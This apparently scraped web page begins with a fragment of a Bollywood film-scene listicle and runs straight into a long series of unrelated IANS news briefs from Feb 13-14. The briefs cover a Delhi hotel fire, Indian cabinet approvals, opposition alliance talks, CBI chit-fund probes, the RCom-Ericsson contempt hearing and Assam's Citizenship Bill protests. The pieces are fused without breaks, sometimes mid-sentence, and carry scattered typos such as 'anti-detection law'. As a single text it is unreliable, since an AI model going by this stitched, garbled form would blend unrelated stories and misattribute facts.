The scene of Viren meeting Pallavi's daughter in Rajasthan is the turning point in the story. She looks exactly like her mother and Viren is struggles with his emotions at the discovery of this.

At a railway station

Image Source: Prokerala

The movie 'Tere Naam' presents Salman in a never before avataar as rowdy Radhey whose love interest is Nirjara (Bhumika Chawla), who is the naive daughter of a priest. The iconic scene of Nirjara meeting Radhey in the railways station on her eay to college is really romantic. Radhey tells Nirjara how much he loves her simplicity.

The scene is followed by a mild alteraction with a gang who tries to eat her lunch.New Delhi, Feb 14 : An Inspector with the Food and Drug Administration (FDA) from Pune was one of the 17 persons who died in a fire tragedy at Arpit Palace hotel in the heart of the national capital on early Tuesday.

"Rahul Kumar, who was in Delhi, had talked to his wife over phone informing her that he would return on Tuesday, but he did not know he would also die along with two of his friends -- Dr Shankar Narayan and Dr Santosh Wale -- who were putting up in Room No. 401 of the hotel," his relative Srinivasan told IANS.

Dr Shankar Narayan from Tamil Nadu and Dr Santosh Wale had come to Delhi to attend a medical seminar in Connaught Place. They had booked a room in the ill-fated hotel.

"On Monday night, they called their old friend Rahul Kumar for a meeting in the hotel. Rahul told his wife that he wanted to leave but he would stay with Santosh Wale and Shankar Narayan due to their insistence," Srinivasan said.

"In the fire tragedy, they all were suffocated to death after being trapped in their room and could not get out," he added.Ras Al-naqoura : , Feb 14 (IANS/AKI) The United Nations-drawn Blue Line was the focus of a meeting Wednesday between the United Nations peacekeeping mission in Lebanon's head Stefano Del Col and senior officers from the Lebanese National Army and the Israel Defence Forces, UNIFIL said in a statement.

"Calm" has prevailed along the Blue Line border demarcation with Israel since the last tripartite talks on January 10, Del Col said at Wednesday's meeting held in Ras al-Naqoura in southern Lebanon.

"I see the Blue Line marking as one of the most important confidence building tools at our disposal and I ask that every effort is undertaken to create new momentum in the process going forward," he said, thanking the LNA and the IDF for their cooperation.

"The tripartite forum is a proven mechanism for reaching all party agreement and I ask that you continue to engage, through UNIFIL on sensitive issues," Del Col said.

Wednesday's talks also covered air and ground violations, the situation along the Blue Line, permanent violations, issues within the scope of the UN Security Council resolution 1701 (which was intended to resolved the 2006 Israel-Lebanon conflict) and other related resolutions, UNIFIL said.

Tripartite meetings have been held regularly under the chairmanship of UNIFIL since the end of the 2006 war between Hezbollah and Israeli forces in south Lebanon as an essential conflict management and confidence building mechanism.Amritsar, Feb 14 : Three women, all sisters, were burnt alive in a fire in their house in the walled city area here on Wednesday evening, police said.

Police is investigating the cause of the mysterious fire that charred the three sisters to death in Gali Mochian area near Hakima gate of the congested old city.

The victims were identified as Indu, 45, and her younger sisters Vandna and Preeti.

While Indu was married and living in Amritsar, her sisters were unmarried and had shifted with her recently from Delhi.

Amritsar's Additional Deputy Commissioner of Police J.S. Walia told media that the incident was being investigated for all three angles - accident, suicide or murder.

Forensic experts were called to collect samples from the spot.

Foul play has also not been ruled out. The house was found locked from inside.

Local residents said that that the fire brigade and police took time to reach the spot and the fire had spread by that time.New Delhi, Feb 14 : The Union Cabinet, chaired by Prime Minister Narendra Modi, on Wednesday approved the signing of three Memorandums of Understanding (MoUs) with Saudi Arabia for strengthening cooperation in the fields of tourism, customs and investment.

The MoU would facilitate sharing information and expertise in tourism development, hotels, resorts and tourist accommodation facilities, tourism data and statistics, events and other tourism activities.

Saudi Arabia is one of the potential tourist markets for India from Middle East.

Another MoU is on establishing a mechanism for making investment in infrastructure in India, according to an official release.

The MoU will be a step forward in engaging with the institutions of Saudi Arabia to attract a potential investment into the infrastructure sector in the country.

It will lead to boosting infrastructure development in the country, creation of more jobs, growth of ancillary industries/ sectors which will lead to growth in GDP and overall economic prosperity.

The third MoU pertains to cooperation and mutual assistance in customs matters, said the release.

The Agreement will help in making available reliable, quick and cost-effective information and intelligence for the prevention and investigation of customs offences and apprehending of customs offenders.

The MoUs between the two countries are likely to be signed during the Saudi Crown Prince Mohammed bin Salman bin Abdulaziz Al Saud's visit to India next week.Washington, Feb 13 : US Commerce Secretary Wilbur Ross has cancelled his visit to India owing to the cancellation of his flight due to "inclement weather and logistical issues", and will now take part in his slated India engagements via video conference, a US Department of Commerce spokesperson said on Wednesday.

During his official visit to New Delhi, Ross was scheduled to hold a dialogue with Indian Commerce Minister Suresh Prabhu, and along with the latter, also co-chair the India-US CEOs Forum.

"Due to inclement weather, technical problems that led to the cancellation of his flight, and other logistical issues, Secretary Ross regrets he is no longer able to attend the CEO Forum and Commercial Dialogue in person," the spokesperson said.

He intends to participate in most of the sessions remotely and thanks our private sector and the Government of India hosts for their continued partnership as we further strengthen the ties between our two countries."

Announcing the delegation of 20 American CEOs accompanying him, Ross had said: "The US-India CEO Forum is critical to the fruitful commercial relationship and strong economic ties between our two great nations."

"The incoming US CEOs will bring fresh perspectives to the Forum and help us consider new opportunities to further deepen our cooperation," he added.

The private sector American members or chiefs of the forum included CEO MasterCard Ajay Banga, Cisco System Chairman John Chambers, Qualcomm CEO Steve Mollenkopf and CEO, Hewlett Packard Enterprise Antonio Neri.

Indo-American trade relations have come under strain after the recent US decision to withdraw the Generalised System of Preferences (GSP), that grants some Indian exports duty-free preferential access to US markets, which is to take effect shortly.Bengaluru, Feb 13 : Four 'rebel' Congress legislators, who defied the party whip to absent themselves from the budget session since February 6, came to the assembly on Wednesday and were seen sitting on the treasury benches.

"All our four legislators -- Ramesh Jarkiholi, Umesh Jadhav, B Nagendra and Mahesh Kumatalli - returned to Bengaluru on Tuesday night and attended the session today (Wednesday), sitting along with our party members," a Congress leader told IANS here.

Congress Legislature Party (CLP) leader Siddaramaiah had on Monday petitioned Speaker K.R. Ramesh Kumar to disqualify the four under the anti-defection law for skipping the session for five days since February 6 in defiance of the whip and two notices served on January 18 and February 8.

"The legislators' return is timely, as the assembly is set to debate the budget (presented on February 8) and vote for passing it," said the Congress leader.

Denying that they were in touch with BJP to join the party, the legislators said they would not resign from the assembly or the party.

"As I had written to Siddaramaiah in response to his February 8 notice. I could not attend the session since February 6 as I was indisposed and in hospital," said Kumatalli.

Chincholi legislator Jadav told reporters outside the assembly building that he could not come to Bengaluru for the session till Tuesday as he was pre-occupied with constituency work.

Though the rebels responded to the notice Siddaramaiah served on them for skipping the session till Tuesday, the latter earlier said the unanimous opinion of the CLP was for legal action against them under the anti-detection law, as sufficient opportunity was given to them to fall in line.

In the 225-member Assembly, including one nominated from the Anglo-India community, the Congress has 80, including the Speaker, the Janata Dal-Secular 37, the BJP 104 and remaining are an Independent and one each from the Bahujan Samaj Party and regional outfit KPJP.New Delhi, Feb 13 : In a significant development, major national parties on Thursday decided to have a pre-poll pact and a common minimum programme (CMP) to defeat the BJP in the coming Lok Sabha polls even as Congress appeared to keep its options open about tying up with Trinamool Congress in West Bengal and the AAP in Delhi.

Congress President Rahul Gandhi has been entrusted the task of preparing the CMP.

The decisions were announced after a meeting of the opposition parties at the residence of Nationalist Congress Party leader Sharad Pawar following their "remove dictatorship, save democracy" joint protest in the national capital.

Apart from Gandhi, the meeting was attended by Trinamool Congress leader and West Bengal Chief Minister Mamata Banerjee, Telugu Desam Party leader and Andhra Pradesh Chief Minister N. Chandrababu Naidu, Aam Aadmi Party leader and Delhi Chief Minister Arvind Kejriwal and National Conference leader Farooq Abdullah.

At a joint interaction later, Banerjee said they will go for pre-poll alliance so that there is no problem later.

"We will do a pre-poll alliance so that there is no problem after the election. And our appeal to people is to save country and bring government of people," she said.

Banerjee said the meeting was "very good" and "fruitful" and there will be regular meetings as elections were coming and there was need of coordination.

She said about 25 days were left for notification by the Election Commission and they will also prepare a CMP.

"There is a need to save the country from disaster on the hands of the BJP, Narendra Modi and Amit Shah. And for that we will also do a pre-poll alliance. We will again sit on February 26,27 or 28 when we have time. We all have agreed on common minimum programme and Rahulji will prepare a draft and sent to us and then we shall clear it."

Gandhi also said that the meeting was very "constructive".

"We have agreed that the principal target for all of us is to fight the assualt on the Indian institutions carried out by Narendra Modi, by the BJP, by the RSS. We have all agreed that we will start a conversation about common minimum programme. We will start by putting together the pieces. Discussion had now begun and we have a commitment to defeat the BJP," he said.

Asked about alliance with AAP in Delhi and Trinamool in West Bengal, he said till now, no decision had been taken.

Kejriwal said entire country wants that people should come together "to remove Narendra Modi and Amit Shah and that process has started today".

He said they discussed how Modi and Shah "destroyed the country" and more details of the action plan will be out soon.

Abdullah said it had been decided to prepare a common minimum programme which is acceptable to all.

"We want a government that keeps India united and which connects government to people," he said.

Naidu said "we like-minded political parties" will work together.

"What the leaders have said today, there is a democratic compulsion," he said.

Although the Left parties were part of the protest held during the day, they did not come for the meeting at Pawar's residence.Rajkot, Feb 13 : Youth leaders Kanhaiya Kumar, Hardik Patel and Jignesh Mevani here on Wednesday accused Prime Minister Narendra Modi of tarnishing Gujarat's image,attacking constitutional institutions and targeting those who question him.

They were taking part in an event in Gujarat Chief Minister Vijay Rupani's hometown Rajkot under the banner of Team Indranil for You group of former Congress legislator Indranil Rajyaguru.

Kumar, a former president of Jawaharlal Nehru University Students Union, said the Prime Minister had blemished Gujarat's image at the national level.

"You can see how constitutional institutions are being destroyed," he said, expressing wonder how the Bharatiya Janata Party's IT cell head comes to know about the date of an election before the Election Commission declares it.

The Enforcement Directorate (ED) starts grilling Congress President Rahul Gandhi's brother-in-law Robert Vadra soon after Priyanka Gandhi was entrusted with the responsibility of eastern Uttar Pradesh, he added.

"Where was the ED for five years? This is not to give clean chit to anyone, but to explain how institutions are being misused. CBI is fighting CBI and Modi's favourite (Nageshwar) Rao is punished by the Supreme Court," he added.

He said governments are chosen for setting up schools and hospitals, providing jobs to the people, "but when we ask questions on this his (PM's) people start coming and intimidating us".

On his visit, Kumar said, "For the past couple of months we are going to different parts of the country to carry out a programme called 'Samvidhan Bachao, Desh Bachao'. And our motto is 'Jai Jawan, Jai Kisan, Jai Samvidhan'".

It's sad that the government is feeling frightened by our campaign, he added.

He dismissed charges of sedition against him for allegedly raising "anti-national" slogans at an event at JNU three years back.

"More than a dozen of my family members are serving in the defence forces. One of my cousins who was in the CRPF, died a martyrs death recently. My late grandfather was a freedom fighter. These facts are difficult for any government to hide, but they are framing me as an anti-national," he said.

About contesting elections, Kumar said he was yet to decide on this. But Patel asserted that he would certainly contest elections, but was yet to make up his mind on the party or the constituency."

Mevani, an Independent MLA from Vadgam constituency in north Gujarat, said he had no plans to contest the forthcoming Lok Sabha elections.New Delhi, Feb 13 : The Union Cabinet on Wednesday approved an agreement between India and Morocco for setting up a Joint Working Group (JWG) on counter-terrorism.

The memorandum of understanding (MoU) would be the basis for obtaining and exchanging information on terrorist activities, a statement said.Kolkata, Feb 13 : Mob violence was reported from different areas of the North 24 Parganas district West Bengal following the rumours regarding miscreants roaming around shared with graphic images on social media, recently, police said on Wednesday.

The Diamond Harbour district police have set up a control room to create awareness, to curb the rumours tantamounting to 'fake news' reporting and preventing the violence.

"Since last 10 days, certain images like slit throat were shared on WhatsApp along with the rumours of miscreants associated with kidney theft roaming around. Mograhat, Diamond Harbour and Falta are worst affected," the officer in charge told IANS.

With the efforts of the police, the local bodies and administrative officials, the situation was "now a little better," he said.

"The investigation is on and one man who circulated the message has been traced. He is being interrogated, but arrest of actual culprits will take time. We just feared a communal violence breaking out due to the rumours," he said.

On Saturday Suman Das, a hawker from Odisha, was killed by a mob in Mograhat as people took him to be a child kidnapper. Twelve people have been arrested in this connection.

The awareness programmes are being carried out in the district. Police also rescued certain victims targeted by the people on grounds of suspicion.New Delhi, Feb 13 : The Central government plans to operationalise Navi Mumbai airport by 2021-22, apart from creating additional infrastructure at existing airports in Delhi and Banagalore, Minister of State for Civil Aviation Jayant Sinha said on Wednesday.

Speaking at the CAPA India Aviation Summit, the Minister said that efforts are on to decongest existing airports in metro cities and that the civil enclave at the Hindon Air Force base is likely to be operationalised next month.

A civil enclave is an area allotted at an airport belonging to the armed forces for providing civilian air transport services.

Earlier, the Ministry of Defence agreed to make the Air Force base available for flight operations under the second round of the Regional Connectivity Scheme -- Udan -- (RCS-Udan).

The Air Force Station is located around 30 km away from downtown New Delhi and is spread over an area of over 55 sq km, making it one of the largest air bases in Asia. It is operated under the Western Air Command.

Besides, the Minister said, new runways are being constructed at Delhi and Bangalore airports.

On the national carrier Air India, he said that the government is trying to financially revive the airline.

Sinha said that the government has strengthened the airline's management and prepared a revival plan for the national passenger carrier.

According to the Minister, a SPV (special purpose vehicle) has been created which will take care of Rs 29,000 crore worth of debt. Air India Group has a total Rs 55,000-crore loan burden.

The revival plan comes after government's efforts to offload a majority stake in the airline failed in May 2018.New Delhi, Feb 13 : The Lok Sabha on Wednesday passed a Bill that provides a comprehensive mechanism to ban unregulated deposit schemes and protects interests of depositors, amid slogan shouting by the Trinamool Congress (TMC) and the Samajawadi Party (SP) members.

Replying to a debate on the Banning of Unregulated Deposit Schemes Bill, 2018, Union Finance Minister Piyush Goyal said the government has tried to put an end to unauthorised deposit schemes.

"We have ensured that no loopholes are left by using great legal acumen while drafting the Bill. I want to assure the House while drafting the rules, we will ensure there are no loopholes," he said.

The SP members were protesting against lathicharge on its leaders in Prayagraj on Tuesday, while the TMC members were up in arms over issues like actions of the CBI and the ED against its leaders.

Taking a jibe at the TMC, Goyal said it seems some parties do not want to protect the poors' money who deposit their income in ponzi schemes.

"Some parties do not want to pass the Bill as they are afraid of being named. It was decided at an all-party meeting on Tuesday that the Bill would be passed. But the current scene shows who is trying to stop the Bill."

As 15 members of different parties supported the Bill and some even raised queries, Goyal said over 978 cases of unauthorised schemes have been registered between July 2014 and May 2018. Of this, 326 were registered in West Bengal, he added.

TMC's Sudip Bandopadhyay said his party supported the Bill, but the Saradha scam was not properly investigated.

"This must be taken care of. The West Bengal government led by Mamata Banerjee had passed a stronger Bill than this, which has been forwarded to the Centre. I hope the Bill, passed by the Banerjee government, will also be considered," Bandopadhyay said.

He also opposed the term 'chit fund' and asked why should any fund be recognised as a chit fund. "Why should the government not declare that the term 'chit fund' itself is banned? These funds do not say they are chit funds. They come as regular businesses, nobody can detect that they have chit fund business. The name should be abolished and they should not be allowed to conduct their businesses," he said.

Shiv Sena's Anandrao Adsul, Adhir Ranjan Chowdhury (Congress), Mohammad Salim (CPI-M), Bhartruhari Mahtab (BJD), Jitendra Reddy (TRS), Farooq Abdullah (National Conference) and N.K. Premchandran of the Revolutionary Socialist Party supported the bill.

Salim accused the TMC for its involvement in ponzi schemes in West Bengal, saying Trinamool leaders should be sent to jail and their properties seized to recover the public money.

This led to heated arguments between the TMC and the CPI-M members.Kolkata, Feb 13 : The West Bengal BJP on Wednesday said Chief Minister Mamata Banerjee, in Delhi for an opposition rally convened by the Aam Aadmi Party (AAP), should concentrate on governing her state properly rather than dreaming of becoming the prime minister.

"She (Banerjee) is busy in Delhi attending a dharna of Opposition leaders. This is a desperate attempt to hog the limelight. There are so many Opposition leaders... and everybody including Mamata Banerjee is fighting for the prime minister's post. She should pay attention to providing good governance in Bengal," said West Bengal BJP president Dilip Ghosh.

Terming the opposition parties rudderless, Ghosh said they are desperate to wrest power at any cost.

"The more these parties organise such rallies, the more will it be clear that Opposition leaders are rudderless and are afraid of (Prime Minister) Narendra Modi," he said.

Referring to BJP leader Mukul Roy being named in an FIR in the killing of a TMC MLA in Nadia district last week, Ghosh said Trinamool Congress government was trying to implicate BJP leaders and workers in false cases ahead of the Lok Sabha polls.

"The Trinamool is afraid of the BJP due to the growing popularity of our party in the state. That is why the TMC is implicating BJP leaders and cadres in false cases. We want to warn them that we will fight till the end and will not be cowed by such threats," he said.

"Why would the BJP be involved in the killing? Several of our party cadres and leaders have been rendered homeless or killed by TMC workers. We don't believe in the politics of killing," he said.New Delhi, Feb 13 : The Union Cabinet on Wednesday approved the proposal for leasing out 1.61-acre land of the Delhi Milk Scheme in Delhi's Alipur to Small Farmers Agribusiness Consortium (SFAC) to set up "Kisan Mandi", said an official.

The market will provide an additional marketing channel and platform to Farmer Producer Organisations (FPOs) and Growers Associations (GA) for direct sale of fruits and vegetables to wholesale and retail buyers in Delhi-NCR, said an official statement.

Only registered FPOs and GAs will be allowed to offer fresh produce for sale on this platform.

Organisation retailers, wholesalers, hotels and catering institutions, Resident Welfare Association (RWAs) and ordinary consumers can buy from this platform, with no agents or middlemen involved.

"There will be no commission charged on the transactions in the Kisan Mandi either from sellers or buyers and the FPOs will pay a small service charge for the use of facilities such as godowns, cold stores," said the statement.

Kisan Mandi will also offer direct supply through retail outlets on a franchises model.

"A beginning will be made by offering staple produce such as potato and onion through selected kiosks of the Delhi Milk Scheme."

The Kisan Mandi will also have provision for online sales and direct marketing through call centre, it added.New Delhi, Feb 13 : Congress President Rahul Gandhi on Wednesday urged Union Human Resource Development Minister Prakash Javadekar to restore the "200-point roster system" of reservation mechanism for faculties in universities.

Gandhi in a letter to Javadekar said the adoption of the "13-point roster system" in place of the earlier system, has "severely eroded" the spirit of reservation and called for bringing an ordinance to suspend all recruitment till the matter was resolved.

Under the new system each department is taken as a unit for implementing recruitment and reservation policy for teachers. Under the earlier system, the entire university was taken as an unit for reservation and recruitment.

"Thousands of SC, ST, OBC candidates aspiring to teach in colleges/universities will be denied the opportunity. The departure from the '200-point roster system' has led to widespread protests and deserves your urgent intervention," said Gandhi.

Gandhi also pointed out to Javadekar recently informing Parliament that of the 158 faculty posts advertised by the Central Universities of Tamil Nadu, Rajasthan and Punjab since March 5, 2018, not even a single post was reserved for SCs/STs under the '13-point' roster system.

"By your own ministry's admission, 43 posts would have been reserved for SCs/STs under the '200-point' system," wrote Gandhi.

Gandhi said: "It would be expedient to pass an ordinance at the earliest and suspend all recruitment pending resolution of this matter."

Besides the Congress, the Samajwadi Party, the Rashtriya Janata Dal and other opposition parties have demanded restoration of the earlier system, contending the new system deprives SCs, STs and OBCs of reservation benefits in higher education institutions.

The new system has also faced stiff opposition from teachers.

They said as opposed to the earlier system, where 99 posts were reserved for SCs, STs and OBCs and 101 for the unreserved, under the new system only the first, second, third, fifth, and sixth posts will be unreserved in a department.

Also the fourth will be reserved for OBCs, the seventh for SCs, the 14th for STs and the eighth and 12th for OBCs, while the ninth, 10th and 11th will be unreserved.

The University Grants Commission (UGC) in March 2018 announced that a department should be considered the base unit to calculate number of teaching posts for the reserved categories following an order by the Allahabad High Court in April in 2017.

The matter is before the apex court with the Centre filing a petition seeking review of the top court's verdict, dismissing a petition pleading restoration of the earlier system.New Delhi, Feb 13 : To give a boost to public transport infrastructure in Patna, the Union Cabinet on Wednesday cleared a metro rail project for the city to be built at an estimated cost of Rs 13,365.77 crore.

The project envisages two metro rail corridors -- Danapur to Mithapur, and the Patna Railway Station to New Inter-state Bus Terminus (ISBT).

The project would be completed in five years.

As per the project plan, the Danapur Cantt to Mithapur corridor will pass through the heart of city and connect densely-populated areas like the Raza Bazar, Secretariat, High Court and Law University Railway Station, an official statement said.

The Patna Junction to ISBT corridor will connect Gandhi Maidan, PMCH, Patna University, Rajendra Nagar, Mahatma Gandhi Setu, Transport Nagar and ISBT.

"The metro will provide eco-friendly and sustainable public transport to residents, commuters, industrial workers, visitors and travelers," the statement said.

It said that the length of Danapur to Mithapur corridor is 16.94 km and comprises of 11 stations. The length of Patna Station to New ISBT corridor is 14.45 km comprising of 12 stations.

"The existing population of 26.23 lakh of Patna agglomeration area is expected to be benefitted by Patna Metro Rail Project directly and indirectly," the government said.

It added that the corridors would have multimodal integration with railway stations and ISBT station and also have a feeder network of bus, Intermediate Public Transport (IPT) and Non Motorised Transport (NMT).New Delhi, Feb 13 : A parliamentary committee on Wednesday recommended an inquiry into the role played by Life Insurance Corporation of India (LIC) and credit rating agencies (CRAs) in landing Infrastructure Leasing and Financial Services Limited (IL&FS) into a debt trap.

An investigation into the role played by LIC in the IL&FS mess becomes imminent as it is the largest shareholder in the conglomerate. The role of CRAs has come under the scanner as they failed to adequately vet IL&FS financials that led them to over-rate IL&FS entities just before signs of stress started appearing.

Calling for urgent measures to revive IL&FS while noting that it is the "only major institution funding the infrastructure projects in the country" the Parliamentary Standing Committee on Finance said the governance failures and indecision on the part of the IL&FS Board should also be thoroughly probed.

In its recommendations, the panel suggested the implementation of mandatory rotation of CRAs to "bring more accountability among the credit rating agencies as they will be wary of committing negligence".

"In order to have more vibrant functioning of domestic capital and money markets and enhancing credibility in the credit rating industry, we feel the mandatory rotation of CRAs may be implemented," the report stated.

The recommendation comes as the panel in the report highlighted that the credibility of credit rating action has "come into sharp question" in the crisis involving IL&FS.

As 'rating' of an instrument or entity is being increasingly relied upon by capital markets, bankers and investors and, since it constitutes a key input for financial decision-making of far-reaching magnitude, the committee stressed the need for the rating process to be "absolutely professional".New Delhi, Feb. Feb 13 : Reliance Communication (RCom) Chairman Anil Ambani on Wednesday told the Supreme Court the Rs 550 crore dues could not be paid to Ericsson in pursuance to the undertaking as its Rs. 18,100 crore deal with the Reliance Jio did not fructify.

Asserting that he was not in the contempt of court for not clearing the dues, the RCom Chairman said the undertakings were conditional and the payment was subject to the deal with Jio going through.

He said this to the Division Bench of the top court, comprising Justice Rohinton Fali Nariman and Justice Vineet Saran, which reserved its order on the Ericsson's contempt plea against Ambani, RCom Chairman, Satish Shah, Chairman of Reliance Telecom, and Chhaya Virani, Chairman of Reliance Infratel.

Appearing for Ambani, senior counsel Mukul Rohatgi told the court he could not be saddled with any liability to pay Ericsson Rs 550 crore with interest as the liability of RCom did not transcend to him and he had no vicarious liability to pay.

"The dues of a listed company can't be paid by an individual" he said rejecting the argument that Ambani was liable to pay. The company in question (Rcom) will pay, not the directors personally. It is directed to corporate entity, which is the subject matter of case", the court was told.

Telling the court that RCom has "fallen in an unfortunate times", Rohatgi said there was an experiment during NCLT proceedings to get over the crisis but it failed. "You don't send a person to jail" for not being able to carry out an undertaking to pay Ericsson.

Senior counsel told the court every effort was made to save the company and there was an "experiment" but all fell though as deal of Rs. 18,100 crore with Jio did not succeed.

"The entire basis of the exercise was an agreement for the sale of assets to Jio and finally Jio raised its hands," Rohatgi told the court.

The court was told that the company received just Rs 780 crore through the deal with Jio, which was paid to DoT to save the spectrum possessed by the RCom.

The RCom put on affidavit its assertion that they received only Rs 780 crore from Jio on pursuance to Rs 18,100 crore deal. The affidavit also stated the share-holding pattern of RCom, Reliance Telecommunication and Reliance Infratel.

The court had sought the affidavit in the course of the hearing on Wednesday.

The court was also told Rs 5,000 crore (Rs 2,000 crore and Rs 3,000 crore), which is claimed by Ericsson that RCom received from Jio did not come through.

Appearing for Shah and Virani, senior counsel Kapil Sibal questioned as to why Ericsson, as an operational creditor, was being favoured as there were other operational creditors. "We tried hard to persuade lenders to pay Ericsson to facilitate the undertaking," Sibal said, adding the attempts to trade in spectrum, to raise the funds, as is permitted under the government policy did not succeed as DoT did not issue the no-objection certificate.

Describing the case as "extraordinary", senior counsel Dushyant Dave, appearing for Ericsson, said he was not getting preferential treatment and claimed it was they who had agreed to pay.

Alleging that the non-payment of dues was nothing but a virtual disobedience of the court order, Dave said, the financial institutions were interested in saving the RCom.

Dave said the order of NCLT is superimposed by the top court order saying they "shall pay."

Referring to the argument by Rohatgi that the undertakings were conditional, Dave said "Am I so fool or naive that I will agree to an undertaking that I will get money subject to the agreement with Jio."

Appearing for the SBI Chairman, who too was made a contemnor, the court was told the financial institutions have not assisted RCom in the violation of undertaking.

Wondering how could the SBI Chairman be made a contemnor, senior counsel Neeraj Kishan Kaul described as "irresponsible" the allegation that "I colluded with RCom."New Delhi, Feb 13 : Congress President Rahul Gandhi on Wednesday lauded former Prime Minister Manmohan Singh for the "precise" prediction concerning the "damage" caused by demonetisation, saying it was better than any other economist.

Gandhi made the remarks in his speech at the Congress Parliamentary Party meeting here.

"Manmohan Singhji, who in his economic wisdom saw 2 per cent damage by demonetisation... I don't know what mathematics he did, what calculations he did, but it turned out that it was the most precise, better than pretty much any other economist, so we thank him for that," Gandhi said.

Gandhi also made a special mention of party leader in the Lok Sabha Mallikarjun Kharge, who, he said, "fought great odds to give some terrific speeches".

He said that Leader of Opposition in the Rajya Sabha Ghulam Nabi Azad and party's deputy leader in Rajya Sabha Anand Sharma "gave some very good speeches".

He also lauded other party members for their role in the Lok Sabha and the Rajya Sabha. The last session of the 16th Lok Sabha concluded on Wednesday.

The meeting was attended by UPA Chairperson Sonia Gandhi, besides Manmohan Singh, Azad, Kharge and Sharma.Gurugram, Feb 13 : Haryana Chief Minister Manohar Lal Khattar on Wednesday announced that a new rail corridor is being planned between Palwal and Sonipat, parallel to the KMP (Kundli-Manesar-Palwal) Expressway, to ease traffic between Haryana and Delhi.

The "Haryana Orbital Rail Corridor Project" will be connecting all major industrial cities of the state and is likely to cost about Rs 4,100 crore. Its detailed report is being prepared by the Haryana Rail Infrastructure Development Corporation Ltd (HRIDC), Khattar said.

The chief minister was addressing an outreach event organised by the HRIDC for the stakeholders in Gurugram on Wednesday.

Confident of getting another term after the BJP's victory in the recent Jind bye-election, Khattar added that the project would be completed in three years "before we complete our next term".

The proposed rail line would be 130 kms long and will enable direct rail connectivity between Palwal and Sonipat bypassing Delhi and linking Asaoti (on the Delhi-Mathura route), Patli (on the Delhi-Rewari route), Asaudha (on the Delhi-Rohtak route), and Harsana Kalan (on the Delhi-Ambala route) through a new broad gauge rail line.

The corridor is going to be double line electrified with 25 tonne axle load capacity.

Khattar said the project is being developed as a joint venture model and therefore all its stakeholders -- Indian Railways, Haryana government, HRIDC, CONCOR, Dedicated Freight Corridor, HSIIDC, Maruti Suzuki, Model Economic Township Limited (formerly Reliance Haryana SEZ Ltd), Allcargo and others -- will have to bear its cost.Pune, Feb 13 : The CBI on Wednesday filed a supplementary chargesheet against shooters Sachin Andure and Sharad Kalaskar in connection with its probe into the murder of rationalist Narendra Dabholkar, officials said.

A senior CBI official told IANS that the two have been charged under IPC sections of criminal conspiracy and murder, Arms Act and Unlawful Activities Prevention Act.

The CBI has registered a case on the directions of the Bombay High Court. The Bombay High Court had asked the CBI to file a case on May 9, 2014. The case was filed by the CBI on June 2, 2014.

Andure was arrested on August 18, 2018 while Kalaskar was arrested on September 3, 2018.

According to CBI officials, Andure shot Dabholkar first followed by Kalaskar. Both of them are currently lodged in jail.

The agency said they are still looking for the motorcycle which was used for the killing and the weapon used in the crime.

The official said the agency had arrested alleged Hindu Janjagruti Samiti member Virendra Singh Tawde on June 10, 2016 and a chargesheet was filed against him on Spetember 6, 2016.

Dabholkar was shot dead in Pune on August 20, 2013, when he was out for his morning walk.Shillong, Feb 13 : The Central Bureau of Investigation (CBI) on Wednesday allowed Kolkata Police Commissioner Rajeev Kumar to leave Shillong after questioning him in the Saradha and Rose Valley chit fund scams for five consecutive days.

Kumar, who was grilled in the Shillong CBI office, had written to the CBI seeking to give him a "break" so that he can prepare his reply to the contempt petition filed by the CBI in the Supreme Court against him and two other senior officers earlier this month.

"He (Kumar) had submitted a letter to the CBI requesting to give him a break so that he can prepare his reply to the contempt petition filed in the Supreme Court against him," a CBI official told IANS on condition of anonymity.

The CBI has filed contempt petition in the Supreme Court against Kumar on February 4 for alleged non-cooperation on the Saradha chit-fund scam.

Soon after the CBI grilled him for three hours on Wednesday, Kumar left for Kolkata via Guwahati.

Kolkata's Additional Police Commissioner Javed Shamim, Special Task Force Chief Murlidhar Sharma and CID Chief Praveen Kumar Tripathi, who accompanied Kumar to Shillong, also left along with him.

Kumar arrived in Shillong on February 8 from Kolkata via Guwahati after the apex court directed him to join the CBI probe at a "neutral place" in Shillong.

The CBI had confronted former Trinamool Congress MP Kunal Ghosh with Kumar in connection with the investigation conducted by Kolkata Police's Special Investigation Team on the chit fund scams in West Bengal.

Ghosh, who had left Shillong on Tuesday, said that he has lodged an "official complaint" against Kumar for allegedly influencing the ongoing probe.

"I have lodged a written complaint with the CBI against Kumar.... During our face to face interrogation on February 10, certain Kolkata Police officers were named. But Kumar called up some of those officers after leaving the CBI office that night," Ghosh alleged.

"When I had sought justice in 2013, Kumar had not cared for me. I felt bad to see that an IPS officer like him has to face hours of questioning like this. Had he played an active role at that time, he would not have to face the CBI interrogation now," he added.

Ghosh had earlier implicated former Union Minister Mukul Roy, who has quit the Trinamool Congress to join the Bharatiya Janata Party (BJP), and 12 others in the Saradha chit fund case.

The CBI is likely to move the Supreme Court seeking permission to quiz Saradha Group Chairman Sudipta Sen and his close aide Debjani Mukherjee in connection with the chit fund case.

They also want to confront Kumar with Sen and Mukherjee on the chit fund scams.Guwahati, Feb 13 : The failure of the BJP-led NDA government to pass the contentious Citizenship (Amendment) Bill 2016 in the Rajya Sabha on Wednesday brought cheers to most protesting organisations in Assam, but the ruling BJP termed it a "defeat" for the state.

The Citizenship (Amendment) Bill, 2016 is set to lapse on June 3, when the term of the present Lok Sabha ends, as the Bill could not be tabled in the Rajya Sabha which was adjourned sine die on Wednesday, the last day of the Budget session.

The All Assam Students' Union (AASU), Citizens' Forum, Asom Jatiyatabadi Yuva Chatra Parishad (AJYCP), Krishak Mukti Sangram Samiti (KMSS) and parties such as the Congress and Asom Gana Prishad (AGP) celebrated the development.

AASU adviser Samujjal Bhattacharyya expressed his happiness and complimented the people of the region for standing united against the Bill.

"We condemn the BJP government for failing to ascertain the sentiments of the people of the region," he said.

The students' body also celebrated the victory by signing songs and distributing sweets to its members and passersby in front of the AASU headquarters in the state capital.

However, state Health and Finance Minister Himanta Biswa Sarmathe described the development as a "defeat for Assam."

"It is a defeat for Assam. My party and I extended full support to the Bill. We do not have a majority in the Rajya Sabha, so the Bill could not be passed. Bangladeshi Muslims will now occupy 17 constituencies of lower and central Assam. The people of Assam will lose their culture and language," Sarma said.

The KMSS and AJYCP also celebrated the development and said the people of the region have given a strong message to the ruling BJP governments in Delhi and Assam, saying the party will face the consequences in the forthcoming general elections.

The Congress in Assam also rejoiced at the Modi government's failure to push through the contentious Bill in the Rajya Sabha and said the party has yet again foiled an attempt by the communal forces to convert secular India into a fundamentalist nation.

Debabrata Saikia, the leader of the Opposition in the Assembly, said the Congress honoured the sentiments of the people of Assam and the North-East.

